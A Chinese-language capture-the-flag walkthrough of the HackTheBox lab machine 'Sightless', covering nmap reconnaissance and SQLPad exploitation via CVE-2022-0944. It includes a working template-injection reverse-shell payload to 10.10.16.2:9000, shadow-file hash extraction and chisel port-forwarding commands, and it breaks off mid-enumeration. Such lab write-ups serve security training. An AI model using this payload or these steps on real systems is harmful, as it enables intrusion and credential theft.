总体思路
信息收集&端口利用
nmap -sSVC sightless.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 08:40 CST
Nmap scan report for sightless.htb
Host is up (0.84s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp
| tls-alpn:
|_ ftp
| ssl-cert: Subject: commonName=sightless.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=US
| Not valid before: 2024-05-15T18:55:27
|_Not valid after: 2034-05-13T18:55:27
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (sightless.htb FTP Server)
| Invalid command: try being more creative
|_ Invalid command: try being more creative
| tls-nextprotoneg:
|_ ftp
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_ 256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Sightless.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
目标只开放了21、22和80端口,先看80端口信息
没有什么利用点
但是在提供的服务中,有一个重定向到了sqlpad.sightless.htb,将其加入hosts文件中访问
是一个sqlpad的组件,在有数据库用户密码的情况下能够连接到数据库并执行命令
在BP中能够发现其版本为6.10.0
搜索该版本漏洞,发现存在CVE-2022-0944
过程为:点击连接->新建连接->选择MySQL作为数据库->在数据库当中输入payload->Test运行命令
#payload
{{ process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.10.16.2/9000 0>&1"') }}
发现直接就是root用户,怀疑当前在容器中
进一步查阅文件后,发现确实存在dockerenv文件
查看用户,发现还有micheal和node两个用户
可能需要用到这两个用户登录到主机,查看shadow文件
将micheal用户的hash值复制出来解密
使用该密码登录到主机
老样子三件套,查看sudo权限、suid权限和端口开放情况
sudo -l
find / -perm -u=s -f type 2>/dev/null
netstat -nltp
有一个8080端口可疑,转发到本地查看
#kali
chisel server -p 6150 --reverse
#target
chmod +x chisel
./chisel client 10.10.16.2:6150 R:8080:127.0.0.1:8080
是一个froxlor组件
一番尝试后好像也没有利用点
看看把另外几个端口代理出来
./chisel client 10.10.16.2:6150 R:8080:127.0.0.1:8080 R:33060:127.0.0.1:33060 R:33157:127.0.0.1:33157 R:39309:127.0.0.1:39309 R:40731:127.0.0.1:40731